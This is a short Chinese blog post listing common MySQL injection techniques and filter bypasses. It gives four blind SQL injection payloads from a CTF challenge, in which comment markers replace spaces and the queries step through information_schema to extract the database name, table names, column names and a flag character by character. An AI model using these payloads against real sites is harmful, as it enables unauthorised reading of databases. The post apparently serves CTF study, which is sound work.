Mysql注入的常用方法和繞過
阿新 • • 發佈:2020-07-16
- 寬位元組注入
- 基於約束的注入
- 報錯注入
- 時間盲注
- bool盲注
- order by的注入
- INSERT、UPDATE、DELETE相關的注入
- 堆疊注入
- 二次注入
- 檔案讀寫
- 常用繞過
- 萬能密碼
參考:CTF SQL注入
慣用思路(這裡的例子是之前做的一道mysql盲注題,題目過濾了很多符號,如:單引號、空格和逗號):
1、首先通過database()函式得到庫名,或者去information_schema.schemata表查詢schema_name
"0/**/or/**/ascii(substring(database()/**/from/**/%d/**/for/**/1))=%d#" % (i, j)
2、然後去information_schema.tables表利用table_schema查詢table_name
"0/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/%d/**/for/**/1))=%d#" % (i, j)
3、接著去information_schema.columns表利用table_name查詢column_name
"0/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database())/**/from/**/%d/**/for/**/1))=%d#" % (i, j)
4、最後select column_name from table_name 得到flag
"0/**/or/**/ascii(substr((select/**/*/**/from/**/flag)/**/from/**/%d/**/for/**/1))=%d#" % (i, j)